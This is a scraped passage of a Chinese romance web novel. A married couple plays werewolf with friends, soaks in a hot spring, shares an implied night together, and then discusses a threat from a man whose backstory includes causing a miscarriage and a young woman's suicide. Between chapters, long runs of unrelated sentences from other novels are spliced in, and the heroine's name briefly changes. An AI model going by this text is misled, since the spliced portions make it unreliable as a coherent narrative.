祝卿月揽住魏云舟的手臂,答非所问:“新年快乐。” 魏云舟失笑:“凌晨不是说过了?” “说过就不能说了?”祝卿月哼了声,“你带我来这里,我很高兴。” 真是知道怎么拿捏他,魏云舟摇摇头:“时间还早,去玩会儿吧。” 祝卿月以为就是唱唱歌喝喝酒,哪知道于见山还准备了狼人杀的游戏。 在座没几个人会玩,于是于见山负责给魏云舟说游戏规则,丁怡负责了祝卿月,陈小萤自然由吴佑科普。 陈小萤和魏云舟理解力超群,说一遍就懂了,祝卿月默默念叨了几遍。 六个人也可以玩狼人杀,只不过是小型局,很适合他们这样的朋友度假一起玩。 他们没有玩进阶版的,毕竟有三个人是第一次玩,他们玩的是新手友好配置,两个狼人,两个平民,一位预言家,一位女巫。 于见山说:“我再强调一遍,狼人每晚刀一个人,预言家查一个人,女巫呢,有一瓶解药能救人、一瓶毒药能毒人,每晚只能用一瓶,平民是没有技能的,纯靠发言找狼,懂了吗?” “我懂了。”祝卿月不由自主地挺直了腰背,“你看着我说什么?” 本小章还未完,请点击下一页继续阅读后面精彩内容!大家全都笑了,魏云舟轻轻拍了下祝卿月的后背,说:“游戏而已,输了也没事。” 祝卿月有人撑腰,朝于见山哼了声。 “开始开始。”于见山挥手,“发牌了。” 法官由这里的工作人员担任,是于见山拉过来的帅小伙。 卡牌依次分发完毕,祝卿月下意识压低身体,她四周看了看,飞快地翻开牌角看了眼。 当看到“狼人”两个字时,她动都不敢动,任由心脏扑通扑通跳个不停。 岂料一抬眼,发现丁怡正偷瞄她,两人眼神一对,立刻心照不宣地低下头。 这两人熟悉的程度不用看彼此的牌都知道对方拿了什么,毕竟她俩都认为对方很心虚。 事实也确实如此,好朋友一生走,两人拿了狼人牌。 “好了,请各位把牌扣好,现在……天黑请闭眼!”法官继续cue流程。 六个人齐刷刷闭上眼睛,房间里瞬间安静下来,祝卿月都能听到自己的心跳声。 “狼人请睁眼,你们要刀谁?” 祝卿月和丁怡缓缓睁开眼,两人对视一眼,丁怡指了指魏云舟,祝卿月却犹豫了。 第一晚就把老公杀了,合适吗? 丁怡再次指了指魏云舟,祝卿月第一次玩,其实有些云里雾里,见丁怡坚持,也就狠心地点了点头,随后飞快地闭上眼睛,生怕被人发现破绽。 “狼人请闭眼,预言家请睁眼。” 陈小萤慢慢睁开眼,她扫视了一圈,大家都挺正常的。 但她身边坐着的丁怡,有一段时间,呼吸有点不太对劲,于是,她朝法官指了指丁怡,要查验她的身份。 法官清晰地比了个“狼人”的手势,陈小萤得意一笑,果然没猜错。 “好,预言家请闭眼。”法官继续流程,“女巫请睁眼。” 吴佑缓缓睁开了眼睛,他下意识去看陈小萤,发现什么也看不出来。 法官指了指魏云舟,做了个“倒下”的手势。 我靠,好兄弟第一晚就被杀了,不管怎么样都得救吧? 吴佑轻轻点了点头,救人一命胜造七级浮屠。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第一卷 第347章 先婚后爱(44) 第一晚平安夜,没有人出局。 睁眼之后,祝卿月和丁怡不经意地对视了眼,女巫救了魏云舟。 顶楼的风很大,昨天这里还绿草如茵,香槟玫瑰散发着醉人的香味,一切都那么完美。 没有说话,可眼神中的意思却已经十分显而易见:五十步笑百步,大家都是彼此彼此。 “这什么情况?”白衣皱眉,回身问唐玄策。唐玄策就把之前的事说了一遍,当然,沈老那里被打的事情被他跳了过去,毕竟沈老是要面子的人。 黄鼠狼也不愧是有灵性的东西,一听吴万川这么说,马上老实了下来,蔫头耷拉脑,完全没了刚才那一副气势汹汹的样子。 说完,唐玄策弯下腰,手轻轻一抬,一块巨大的石板就被唐玄策抬了起来,年轻男人如蒙大赦,赶紧从地上爬了起来,要再多压抑会,自己不死半条命也没了。 “老老实实呆着,别乱跑,我不敢保证这里没点别的东西。”说完鑫昊就关上了殡仪馆的大门。 “盛筠,对不起,请再给我一些时间……”我在心里默默对他说道,可是留在他的,却是一个冷漠而坚决的背影。 不过这轮子,就太不好做了,武战放下东西:“试了好几次,做不出来,木头不够,也做不到那么光滑。 我当然答应了,反正暂时没戏可拍,也不用去学校了,除了当网店客服发货之外,我就是一大闲人。 “希少爷,您怎么来了?”鸢鸾手中端着一个檀香木托盘,托盘中放着的正是方才凤枫华用过的药碗。 朱翊钧这个大明最大的地主老财,在放钱的时候,嘴脸和乡贤缙绅们一模一样,恨不得把骨头抽出来嗦一嗦。 刀又钝了,刀卡在三当家的颈椎骨上,他倒在地上做最后的挣扎。 “狂妄!纵然你是仙帝的儿子又如何?”老者暴喝一声,猛的扑了上来,大手探出,当空抓向了叶阳。 人心贪婪,利欲熏心,到时候决计不会维持在饿不死人的尺度内,而是愈迫愈急,把穷民苦力心底的怒火勾起来的那天,熊熊烈焰,一杯水如何熄灭这等烈火? “你说什么?你有本事再说一遍!”李管事的嗓门跟着直线上升,眸子瞪得浑圆,有些不可置信的看着冷千月。 信纸有两页,我翻到第二页发现只剩下一行字和落款,上面写着寄件人:顾晓雨。 只不过被洛云天这么一绕,此时大脑不算很清晰的她直接将这一切忘到脑后去了。 几人丧不搭眼地听着,突然,他们的神情一下子就变了,一个个惊恐万分地看着卡卡。 通过两人的合理配合,使魂技发挥出一加一大于二的效果,便是组合技。 等时间差不多的时候,外面的天色已经逐渐黑了下来,我费了好大的劲把躺在沙发上抽烟的罗涵硬生生拉了起来。 蟒蛇没有爬过来,而是各自缠绕在一棵树上,身体越缠越紧,我的脸色也越来越苍白。 “炮击!!!”凄厉的叫喊声让所有人的精神全都瞬间紧绷起来。带着沉重装备的陆战队员们如果被炮火掀翻进了海里,那可真是死定了。 但它一开始就存在着否定一切传统、“极端崇外”和“全盘欧化”的倾向。 慢慢的叶秋起身,他反手捏着寒月,要是这东西不伤人,他就打算活捉,要是伤人,那就不客气了。 滚滚浓烟飘向天际,与下游的浓烟汇合,像是一把雪亮的刀子插入灰白的苍穹,只听远处一声金鼓号鸣之声撕裂长空而来,带起了惊天的血气。 休息一晚,第二天一大早道士就静候在门口,带我们去无量观的正殿,从里面走出来的道长应该是道观主持,鹤发童颜颇有仙风道骨的样子。 “没有!哪有什么好处?我这不是想着给弟兄们找条活路吗!”毛承禄的眼神明显有点躲躲闪闪。 “我是随浅。”随浅也说。她的语气里并不带着炫耀,更不带着恫吓。 她在沉香池奋力一跃,为心爱的男子心甘情愿的挡去一剑,全身是血,倒在男子的怀中,那一刻她真真实实的感受到了他的温度,他的气息,从未离他如此之近。 所有俘虏兵们都默默的听着,没有任何表示,或者,他们已经麻木,还没有从这场屠杀中回过神来。 “请我吃饭?那得看看你是以什么身份请我的。”叶枫对着莫问笑道。 人们不由得再次仔细的打量起这个不起眼的青年,似乎这个青年的身上隐藏着无数的秘密般。 签订了契约,雷雨看似不经意,走向了那个石砖,脚踏上去后,坐了下来。从禁制九条雕龙,倏然进入了雷雨的识海,附于识海坤棍’。 我清咳了两声收回视线,刚想叉开话题时,就见那老鸨一扭一扭的走上中央的台子,手掌相击了三下后,喜笑颜开地开了口。 对于什么样的赛制,夜影倒是没什么关心的。不管其他的怎么变化,但是实力才是王道,只要有实力,其他的怕什么? “我这俩天有很重要的会,不管你用什么办法,你给我留住那年轻人。我通知君瑜,她立刻赶往你那儿!”声音显得有些急促。 “你不闲着谁闲着。”狗娃抱着一大堆的东西走过来,一下子全仍在包子的身上。 我见他这般的无顾忌。怒火蹭的一下子就上來了。借着酒劲一骨碌就爬上了床。 第一卷 第348章 先婚后爱(45) 吃完饭,祝卿月没有急着去私人影院。 但刚起,也睡不着。 她转头跟魏云舟说:“找个安静的地方待会儿,可以看看雨。” “去茶室吧。”魏云舟说,“那里很合适。” 他以往过来这里,就喜欢一个人待在那儿。 这些传音符也没有什么特别重要的信息。于是李赵缘也不在自己的洞府逗留。毕竟这个洞府之中也没有什么值得李赵缘留恋的东西。他所有的家当都放在须弥介子洞天戒指之中,既安全又方便。 而在生死台的周围也是建造了上百个观战的座位,放眼望去,足足有五指倍数。 “既然这颗独角地龙内丹对前辈有大用,那前辈就拿去便是,至于交易,倒是不必了!”沉默了片刻,封逆开口道。 丧子的郑爵爷没有出现见客,苗人风估计是自己的档次不够,但他也没有见郑阀扛把子的意思,根据罪域提供的证据来看,这事还真是郑府内部的事情,至于为了什么,苗人风是不管的,他此时见到的是郑克安的父亲郑礼泽。 果不其然,就在八千一百九十二个阵眼被击破之后,桃花迷阵之中剩下的那些阵眼,只有少部分的阵眼发生了位置的变换,大多数的桃花阵眼仅仅是在同一棵桃树上换的位置而已。 而在纯阳子身后,则是带着一个神情冰冷的年轻男子,一身青衫后面则是背负着一把看不出深浅的剑鞘,看样子似乎是一位剑修。 说他要当军师吧!铜锣湾扛把子却经常不把话说透。说他打酱油吧!丫又时不时的提醒苗人风要注意什么,要做什么。 魔炉之中的魔‘药’随着火焰的灼烧,也开始不停的消散了起来。 “啧”,苗人风很想问安禄山,皇帝为什么一定要拿下朔风郡,因为安禄山的话里话外,都说明他是知道朔风郡有什么的,“究竟是什么东西,才能够让皇帝如此在意?”苗人风暗中想着,手却伸向箱子,取出其中一个卷轴。 他大惊,那是突然想起当年龙青云一样委任狄阿鸟为少值令的事。 宋姨娘闻言不禁心里一慌,老太太这是让她不得不处置自己的手下呢? 皇上亦是感念相爷劳苦功高,命内务府送来了一卦长命锁给相府嫡长子。此等殊荣,除了皇室的郡王郡主,其它世家贵族便从未得过如此殊荣了。 “不过宁国公已死,即便可以报仇,也不能够手刃仇人了。”太子妃有些失望的说道。 此时的周易是越来越无比的虚弱,那股无形的压迫感让自己喘不过来气,这种约束能量的东西比高手的威压还要厉害几倍。 想到这里,君九思的嘴角慢慢的耷了下去,喜悦欢愉的神色渐渐消失。 为了不让叶天龙的神识查探到,张天宝尽量用真气做掩护,否则他无论做什么动作,或者出什么招,都会让叶天龙查探出来。 在之前,龙昊早就已经是料到了要和南宫炎他们吃一餐的,所以就提前预定了包厢。 刚哥在下了车之后,透过门栏看见了坐在沙发上面的龙昊,此刻的龙昊已经是一副很正经的样子坐在了沙发上,像是在想着什么事情,不过之后又想了想,那名男子之前和他说的话,顿时就没有将心中的怒火发泄出来了。 第349章 先婚后爱(46) 回到房间没多久,酒店的管家带着服务生,推着餐车敲了房门。 魏云舟应了声,餐车被推进来,他指了指靠窗的位置:“放那儿。” 祝卿月闻到香味,手背在身后悠闲地走了过来。 等人撤离,魏云舟做了个“请”的手势。 祝卿月笑了笑,顺势坐下,“哇”了声:“好丰富啊,有鸡有鱼的,还有桂花糖藕。” 这道餐前甜点,魏云舟不爱吃,一看就是给她点的。 祝卿月夹了一块送进口中,下意识点了点头:“软糯香甜。” 混着桂花的香气,滋味更显浓郁,只不过最多两块,吃多了腻人。 一小碟子也就四块,魏云舟不吃的话,她能全部笑纳。 “先吃饭。”魏云舟拦了下,“吃完饭还有肚子的话再吃。” 祝卿月嘟了下嘴巴,不情愿地放开了筷子,魏云舟笑着给她盛了一碗松茸菌菇土鸡汤。 鸡肉炖得软烂,只有最上面一层浮着极其薄的油花,看不出一丁点的油腻。 另外还有一条蒸鱼和两道炒时蔬,晚餐算得上清淡。 祝卿月不太爱吃绿色的蔬菜,魏云舟觉得她挑食,每次都看着她夹两筷子糊弄过去。 魏云舟没办法,只能睁一只眼闭一只眼。 泡汤前也不适合吃得太饱,可以泡完再吃点宵夜。 祝卿月五分饱后就停了筷子,只把碗里的汤喝完了。 刚吃完不能直接泡,祝卿月拉着魏云舟出门散了半小时的步。 回来后,她和魏云舟各自洗了澡。 夜色沉沉,露台的温泉池一切就绪,这个露台就在卧室的外侧,像延伸出去的私密之地。 祝卿月裹着浴巾出来晃了小半圈也没见到魏云舟,猜测他已经先行过去了。 她慢慢做了个深呼吸,知道怎么都逃不过,只得拉开了露台的门。 一路都是防滑地砖,魏云舟看到她的身影,还是提醒了句:“小心点。” “你别起来,我自己过去。”祝卿月见他要起身,抬手阻止。 水面氤氲,将整个露台笼罩在一片朦胧的雾气里。 祝卿月解开了浴袍扔到一旁,只余下轻薄的浴巾。 有点冷,她赶紧下了水,直至泉水漫过脚踝、小腿,最后再没过腰腹,池底的鹅卵石,触着有些硌意,但适应了之后很舒服,是天然的按摩石。 泉水阻隔了一些直勾勾的视线,祝卿月紧绷的神经稍稍松弛下来。 沉默半晌,祝卿月才抬眸看向魏云舟:“你盯着我干什么?” 魏云舟挑了下眉:“不能看?” “……不能看。”祝卿月故意道。 魏云舟笑了声:“这里怎么样?” 祝卿月点了点头:“挺舒服的,半敞的状态,没有室外冷,更有安全感一些。” 而且抬头就能看到星星,祝卿月仰起头,枕在石头上,“你看啊,很亮诶。” 无论什么角度,祝卿月都出奇的漂亮,眼下她仰着头,修长的脖颈,线条紧绷,像高傲的白天鹅。 可微微张开的嘴巴和眼眸里的笑意又透着娇憨。 只是可惜,她选的位置过于远了,在魏云舟的对角线。 祝卿月爱玩水,手掌不住地在水里拨动。 半晌,魏云舟问:“好玩吗?” 祝卿月点了点头:“还行,就是可惜泡的时间不能太长。” 魏云舟指了指旁边的位置:“过来吧。” “先泡一下。”祝卿月不敢直视他的眼睛,只能将视线虚虚落到别处。 魏云舟似乎看出她的羞赧,拿了杯青梅酒啜了口。 他靠在池边的岩石上,泡汤的浴巾松松垮垮地勾着他劲实的腰。 每次他一丝不挂,祝卿月都不太敢直接凝视,太有侵略性。 泉水触及到与祝卿月心口平齐的位置,热气熏熏,她仰起头缓了缓,灯光落在她脸上,连着脖颈、锁骨浮动着暧昧的水光。 “过来,给你尝尝青梅酒。” 祝卿月有些犹豫,她怀疑魏云舟是故意放那么远的。 她还真冤枉了人,水果饮料都是服务生摆放的。 而且魏云舟所在的位置,视野是最好的。 眼见魏云舟要过来抓自己,祝卿月慢慢地蹭了过去。 魏云舟将青梅酒递给她:“尝尝看。” 祝卿月一抬手,温泉水在她皮肤上连成一条线,随后又滴滴答答在水面上形成一道道涟漪。 也许是渴了,也许是被他盯得不好意思,祝卿月喝得有点急。 魏云舟下意识抬手去接:“慢点,度数再低也是酒。” “这明明是饮料。”祝卿月将杯子给他,“一点酒味都没有。” 魏云舟轻笑:“难不成还真给你喝酒?” 祝卿月故意沾了点水,十指一甩,甩了魏云舟满脸。 水珠从他额头滑落鼻尖,滴进了水中。 魏云舟一把握住她的手腕,将人抱到了胸前。 “别别乱来啊。”祝卿月慌了,“我可是很保守的,接受不了这么大的尺度。” 魏云舟失笑:“我就会乱来,我就能接受了?” “那你抱着我……”祝卿月嘀咕了句。 “刚才甩了我一脸的水,这样方便我报仇。” “……” 祝卿月哼了声,索性转过脸:“来来来,现在就让你泼一下。” “哦?”魏云舟慵懒地应了声,声音被温泉泡得软了些,温柔似水,“想这样就扯平?” 说话的工夫,魏云舟还抬头拂去了她垂落的一绺发丝。 靠得近,两人气息交织在一起,祝卿月的心跳猛地漏了一拍,目光相撞,周遭的泉水温度好似高了些。 魏云舟盯着人看的时候,眼神格外地专注,像紧盯猎物的猎手。 偏偏祝卿月还能看到其中的温柔,也就无处可逃。 “那你想怎么样?”祝卿月的声音很轻,带着一丝不易察觉的颤抖。 魏云舟喉结滚动了几遭,靠近她耳边,说:“你亲我一下,咱俩就扯平了。” 祝卿月突然觉得刚才的青梅酒白喝了,莫名地有些渴。 她抿了抿唇,凑上去看着魏云舟,因为身高悬殊,只能仰着头,一派纯良:“亲一下就行?” “你试试不就知道了?”魏云舟没有直接回答。 “好吧。” 祝卿月吧唧一口亲了下他一下,落在唇中间。 一触即离,魏云舟掩饰不住眼睛里的笑意:“就这样?是不是太敷衍了?” 祝卿月一愣:“不是亲了?你耍我啊?” “青梅酒好喝吗?”魏云舟答非所问,还不等祝卿月回答,低头吻住了她。 他也得尝尝。 酒气清甜,泉水温热,祝卿月被他紧紧环住,挣都挣不开。 意识到这里只有他们两个人,她又慢慢地放松下来。 魏云舟察觉到她逐渐放软的身体,吻得更加温柔。 唇舌失守,祝卿月醉在这一方小天地里,只差天旋地转。 水雾袅袅升起,两人的呼吸越来越沉,所有的感官在这一刻无限放大,越吻越深。 魏云舟失控似的,一把钳住祝卿月的细腰,揉了揉,又似忍耐。 浴巾敞开了些,祝卿月的惊呼全被他吞入腹中。 抬头就是敞亮的星,眼前是无边的山林,对于祝卿月而言还是室外,她推了推魏云舟,抗议的意味十分明显。 魏云舟松开她,抵着她额头追着啄吻,直至放平呼吸,才缓缓拉开了点距离。 祝卿月双颊滚烫,时间也差不多了,便想要上去。 魏云舟将她拦住,又给她倒了杯青梅酒:“还没到时间,再等会儿。” 时间明明已经到了,祝卿月看着他目露疑惑:“不上去吗?” 魏云舟微微凝滞了一下,随后坦荡地眼神下移:“怎么上去?” 祝卿月垂眸一看,一下成了哑巴,她又羞又愤,最终咬牙来了句:“都快三十的人,怎么这么经不起撩拨。” 魏云舟气笑了:“27,谢谢,还有,就算我三十了,我这玩意儿又不是就断掉了,又亲又抱的是个圣人也控制不住。” 祝卿月:“……那你等会儿,我先走了。” “回来。”魏云舟一把将她扯了回去。 水中有浮力,祝卿月轻而易举回了她原来的位置,又跟他肌肤贴着肌肤,甚至,他的下半身也紧紧贴着她。 “魏云舟。”祝卿月慌了一瞬。 “不在这里做。”魏云舟安抚了声,把青梅酒给她,“再喝点,我看你很渴的样子。” 不知道为什么,这句话被他说的莫名很色。 祝卿月拿过去,仰头一口喝掉了,结果被呛到了,咳个不停。 魏云舟“啧”一声,夺过她的杯子扔到一旁的木质托盘上,随后拍了拍她后背:“喝个酒还能呛着。” “还不是你让我喝的。”祝卿月控诉他,咳出了生理泪水,眼尾一片殷红,嘴唇也是一片水光。 魏云舟脑子“轰”一声炸了,他眸光一沉,按住了祝卿月的后颈,再次吻住了她。 这次明显比之前吮吸啃咬的劲儿要大得多,祝卿月就知道他有点收不住了。 池水荡漾,却也泡得人头昏脑涨,呼吸还被人夺走了,祝卿月没一会儿就有些撑不住了。 “魏云舟……”祝卿月有气无力地推他胸口,“我有点头晕。” 缺氧了,魏云舟一下回神,松开了她。 他吐了个深呼吸,说:“走吧,上去歇一会儿,我让管家送点宵夜过来。” 祝卿月点了点头,结果脚一软差点栽倒,还是魏云舟关键时刻捞了她一把。 “小心点。”他护着祝卿月一步一步到了休息口的池边。 “先等一会儿,我先上去给你拿浴袍。”魏云舟说着一丝不挂上了岸,拿了浴袍后转头朝祝卿月伸了手。 将人拉上来后,他快速给她套上了浴袍,顺道帮她拢了拢领口,指尖不经意间划过她的脖颈,引得祝卿月一阵战栗。 “抱歉,不是故意的。”魏云舟搂住她,“先进去,这里风大。” 沈知意点了点头,不敢看他的眼睛,只是轻声说:“回去吧,先冲洗一下。” “好。” 祝卿月先去了浴室,魏云舟给酒店打了个电话让人送餐后也挤进了浴室。 “你怎么进来了?”祝卿月被突然出现在浴室的人吓了一跳。 “一道洗,省水。” “……” 魏云舟突然笑了声,被自己给逗笑的,好在他还有点理智,知道待会儿还有人来送餐,老老实实冲完了澡。 从浴室出来,夜宵正好也送了过来。 “云舟,你叫了什么吃的?”祝卿月伸长脖颈看了眼。 魏云舟亲自接过夜宵,没让外人看到穿着睡衣的祝卿月。 “抹茶红豆羊羹和茶碗蒸,还有一壶玄米茶。”魏云舟将托盘放到桌上,“吃吧。” 祝卿月还真有点饿,晚上才五分饱,蒸蛋凝得像琥珀,上面铺着三文鱼籽,轻轻一挖,蛋羹颤巍巍地破开,露出里面虾仁和香菇丁。 祝卿月舀了一勺送进口中,像抿了一口化开的牛乳,滑嫩鲜香。 她眼眸一亮,对魏云舟点了点头:“好吃诶。” 魏云舟尝了自己的那份,也点了点头:“确实可以。” 抹茶红豆羊羹做得也极好,糕体四四方方,里面嵌着暗红的红豆沙,摆在白瓷碟里,赏心悦目。 祝卿月咬了一口,抹茶的微苦满上舌尖,紧接着就被红豆的甜意中和了,吃到最后,口腔里还留着一股淡淡的茶香。 她端起汤色清亮的玄米茶抿了一口,清甜又湿润。 “好喝。”祝卿月朝魏云舟笑了笑,“我喜欢。” 再没有比她喜欢更重要的事,魏云舟谈了上千万的项目都没这么高兴过。 不过他的高兴全都掩藏在内敛的性格下。 两份小小的餐食,慰藉了半空的五脏庙,祝卿月吃饱喝足,满足地窝在沙发上玩了会儿手机。 于见山发了朋友圈,晚上四个人打麻将他输了,被惩罚在脸上写了字。 祝卿月笑了声,转头让魏云舟也看了这个笑话。 魏云舟让人撤走了桌上的餐盘,转头将祝卿月一把抱了起来。 陡然悬空,祝卿月吓了一跳,牢牢攀着他的脖颈,生怕掉下去。 “时间不算晚,明天不用早起,可以睡到中午。” 这话暗示性太强,忍了这么一会儿,魏云舟显然也忍不住了,祝卿月点了点头。 魏云舟得到老婆大人的首肯,翻来夫妻换了好几个花样,祝卿月欲哭无泪,手掌和膝盖磨了一晚上……嘴里也骂了一晚上的禽兽。 第350章 先婚后爱(47) 度假不设闹钟,祝卿月一觉睡到了中午,但她的眼皮还是沉甸甸的,不愿意醒来。 她翻了个身,往魏云舟暖烘烘的怀里钻。 魏云舟贴上她后颈,趁机用唇磨蹭了下,祝卿月皱了皱眉,胳膊肘抵上他的腹肌:“别亲。” 胡茬戳得人疼。 魏云舟闭着眼睛抹了把下巴,随后睁开了眼睛,起床去了浴室。 十分钟后,魏云舟洗漱好,回到卧室看了眼时间,快十点了。 他俯身撑在床头,轻柔地拨开祝卿月额前的发丝,小声问:“吃不吃饭?快十点了。” 祝卿月摇了摇头,裹着被子侧过身继续睡。 魏云舟见群里没动静,发了“早安”两个字。 陈小萤回复得最快:【你俩醒了?】 魏云舟:【她还在睡,我看看你们醒了没。】 陈小萤:【都还在睡,昨晚玩到凌晨两点。】 她的职业习惯让她睡不了懒觉。 魏云舟:【你跟吴佑什么时候走?】 陈小萤:【我俩待会儿就得走,你们呢?跟我们一起不?】 魏云舟:【你们先走吧,我估计要下午,回到市区要晚上,我想请你一件事,你去问问丁怡,看她什么时候走,如果一道的话,你跟吴佑能不能把她带上?】 小事一件,陈小萤当即就答应了。 丁怡也很识相,知道这夫妻俩昨晚必然玩尽兴了,跟着陈小萤回了市区。 于见山嘛,魏云舟没理会,他独身一人,回不回去都无所谓。 魏云舟见祝卿月不肯起,自己也没胃口吃东西,索性掀开被子抱着她补觉。 睡到中午,祝卿月被饿醒。 她坐在床上推了把魏云舟:“起来了。” 魏云舟一骨碌坐了起来,眼都没睁开就问:“饿了?我这就让人送吃的过来。” “你等一下。”祝卿月拉住他,扯住他睡衣衣领,“扣子都敞着呢。” 魏云舟抱着她,用下巴去蹭她脸:“现在还有胡茬吗?” 祝卿月给他系上扣子,又顺手摸了下他下巴:“你早上胡子不就出来了吗?什么时候剃的?” “你嫌弃的时候。”魏云舟哼了声。 “我什么时候嫌弃了?”祝卿月完全不记得了。 魏云舟按着她的脑袋揉了揉:“起吧,吴佑他们估计已经走了。” “走了?”祝卿月一愣,“那丁怡呢?赶紧把我手机拿过来,我给她打个电话。” 魏云舟不知道丁怡走没走,将床头柜上的手机递给了她。 祝卿月接过手机,接到了好几条丁怡的信息。 魏云舟凑过去看,发现她跟陈小萤他们一起走了。 “怎么也不等我一下。”祝卿月嘀咕了声,“怪我,昨晚没有跟她通个气。” “不是你,是我拜托陈小萤将她带着的,你早上没起来,我就知道要耽误到下午才能走。” 祝卿月抬眸:“你早上起来还做了那么多事?” “于见山有时候不太靠谱,我总不能指望他去送丁怡。” 祝卿月应了声,下床去了浴室。 魏云舟叫了餐后,给于见山打了个电话,结果这个哥还在睡,脑子还没开机。 魏云舟问他什么时候回去,他一句话老半天没讲清楚。 “吃完午饭,我跟月月离开度假山庄,你慢慢睡。”魏云舟只能丢下这么一句话。 手机那头的于见山再次睡了过去。 午餐精致味美,祝卿月还有点舍不得,说这里的餐食很好吃。 魏云舟说:“回去可以问问于见山,他对吃的很有研究,说不定有擅长这类餐食的厨师。” “说说而已。”祝卿月说,“再好吃的东西天天吃也腻了,有空过来玩一趟就不错。” 魏云舟开玩笑:“那你天天对着我腻不腻?” “都不是一个物种,为什么要放在一起比。”祝卿月知道他在逗弄自己,“不过,唯美食不可辜负也。” 魏云舟:“……” 见他盯着自己,祝卿月朝他耸了耸肩:“是你先开始的。” 魏云舟失笑:“真是一下也不饶人。” 祝卿月哼了声:“我昨晚……你也没有饶我啊。” 魏云舟立刻噤了声,一切都是他的错。 “吃好了吗?”他笑得越来越温柔。 “好了。” “早点走,天黑之前能赶到家里。”魏云舟说,“回家再补补觉。” 车辆已经准备好了,祝卿月和他一道下楼。 车开出二里地,她才想起于见山,哪知道于见山在这时打了电话过来。 “你们走了?” 车厢内安静,祝卿月也听到了他的声音。 魏云舟“嗯”了声:“走了。” “你们真够义气啊,把我一个人留在这里?”于见山气不打一处来。 魏云舟:“……不是跟你说过了?” “我睡觉的时候脑子那么糊涂,这也叫说过了?” “那怎么办?”魏云舟笑了声,“吴佑都坐家里喝茶了。” “我靠,一个个的全都没良心。” 于见山挂了电话,祝卿月哭笑不得:“是有点可怜。” 魏云舟说:“吴佑肯定跟他说过了,我也给他打过电话,他一睡觉就不爱搭理人,也就发发牢骚。” 两人昨晚都没怎么睡好,祝卿月不想玩手机,直接躺下休息。 车厢再次陷入安静,魏云舟也开始闭目养神。 不知道过了多久,祝卿月的手机震动了声,是丁怡的信息。 祝卿月稍稍支起身体,看了眼时间,说:【快了,已经走了一半的路。】 丁怡:【我刚才回家的路上看到周若焜了,感觉有点不太对劲。】 祝卿月一愣,直接拨通了丁怡的电话:“你在哪儿看见他的?” 祝卿月声调发紧,魏云舟睁开了眼睛。 丁怡将来龙去脉告诉了祝卿月,祝卿月蹙了蹙眉:“好,我知道了。” 挂断电话,魏云舟拉住祝卿月的手,轻声问:“怎么了?谁的电话?” “丁怡的,她说看到周若焜了。” 纯粹偶遇不会特意说明,魏云舟继续问:“然后呢?” “她没有让小萤姐送她回家,而是拐弯去中心大道的商场里见了个朋友,出门的时候碰到了周若焜,他说让我等着。” “丁怡说他的语气很笃定,是报复的口吻。” 魏云舟抓住祝卿月的手:“我不会让你出事。” 祝卿月看向他:“他还有胆子杀了我不成?” “啧,别乱说。”魏云舟蹙眉,“既然有了这个风险,以后尽量少出门,等我把他解决了再说。” 丹枫公馆,周若焜还没那本事带着人闯进来。 祝卿月抓住魏云舟的胳膊:“我妈还在祝家,会不会出事?” 魏云舟说:“妈还在外面玩,等她回来后我直接将她接过来,先斩后奏,我会跟祝乾说,就说咱俩吵架了,让她来照顾开导你的。” 祝卿月失笑:“这个理由挺好的,我大伯生怕我惹你生气。” 魏云舟捏了下她的脸颊,说:“我在别处都有房产,让妈选一套吧,以后就别回祝家了,就利用周若焜这件事抓到他们的把柄。” “那你一个人根本不行。”祝卿月说,“你找的理由很好,我就说我跟你吵架了,回祝家找我妈,住上一段时间,周若焜如果想要报复,必然会行动的。” “不行。”魏云舟直接拒绝了,“这样太危险了。” 相当于让谢莹和祝卿月都处在狼窝里。 “可不入虎穴焉得虎子啊?”祝卿月按住他的手背,“你不用担心我,我会随时随地跟你联系。” “这件事我自有办法,你不用插手。”魏云舟不妥协。 “好,那你告诉我,你有什么办法?”祝卿月决定暂时顺着他的话。 “关于周若焜,我还得再托人详细地调查一遍,我不相信他是个守法的好公民。” “可你这样太慢了。”祝卿月说,“他确实不是好人,可周家有人脉也有钱,早就给他摆平了一切,你再去深挖,会牵动很多人,包括周家背后的人脉,这样对你来说也是不利的,我们没有必要把事情上升到这样的层面。” 魏云舟抓住她话中的重点,问:“你是不是知道周若焜犯过事?” 祝卿月说:“犯过人命,不过这个人命是他自己的孩子,他看上过一个大学生,很漂亮,但是家里条件不好,周若焜对她嘘寒问暖,她还以为遇到了真爱,结果看到周若焜出轨,才知道他的本性,偏偏女孩怀孕了,纠缠不休中,周若焜把她孩子弄掉了,后来女孩自杀也没成功,去周家闹反倒被羞辱一通,结果……” 祝卿月深深叹了声气:“结果她回老家后还是自杀了,两个老年人维过权,可没人搭理他们,这件事深究起来,周若焜也不过是遭受道德层面的谴责,感情的事最容易和稀泥,女孩又是自己想不开跳河的。” 这件事,她根本不好出面,只能让丁怡私下里救济一二。 魏云舟点了点头:“这件事确实追究不到他的责任,周家的律师团队也不是摆设。” 而且大家在z市都有几十上百年的根基,不是魏云舟一句“天凉王破”就能让对方跌进泥潭之下的。 他也无意和周家为敌,只是解决周若焜这个麻烦的根源罢了。 “所以我说,引蛇出洞才是上上策啊,我和我妈总不能一直待在家里吧?”祝卿月晃了晃魏云舟的胳膊,“你听我的没错,我也不想整天还得提心吊胆,早点解决不好吗?” 她根本就不怕周若焜,因为她有了魏云舟。 魏云舟按住祝卿月,说:“三天,最多三天,我一定给你解决。” 他还是不想让她冒险,更别提周若焜本来就是个人渣,魏云舟可不愿意和一个人渣做这样大的赌注。 “可是——” “好了,我说了可以解决。”魏云舟有些霸道地截断她的话,“妈明天回来,到时候我们一起去机场接她。” 祝卿月只能点了点头。 她应该相信魏云舟的,可也忍不住担心。 回到丹枫公馆时,已是暮色沉沉时分,家里接到通知,早就给他俩准备了饭菜。 祝卿月不饿,草草吃了口就上楼去了。 阿姨一脸懵,下意识看向魏云舟,两人吵架了? 魏云舟当即给祝乾拨了一通电话,响了三声对面才接。 “我跟月月拌了几句嘴,岳母明天回来,我让她过来哄一哄。” 祝乾当即就说祝卿月不懂事,魏云舟截断他的话,说:“祝总,我的家庭教养让我必须尊重我的妻子,我希望你也是。” 说完也不给祝乾说话的时间,径自挂断了电话。 祝乾一脸懵,下意识看向周若梅,周若梅冷笑了声:“自从嫁给魏云舟,她的地位真的是水涨船高啊。” 祝乾“啧”了声:“不过也确实不能总是对她发脾气,她虽然姓祝,但她现在是魏云舟的妻子,对她不敬,也就是对魏云舟不敬。” 周若梅:“……你怎么不说你是长辈?” 祝乾:“……他也没把我当长辈吧?咱家没人家厉害啊。” “两家之力呢?”周若梅突然问了句。 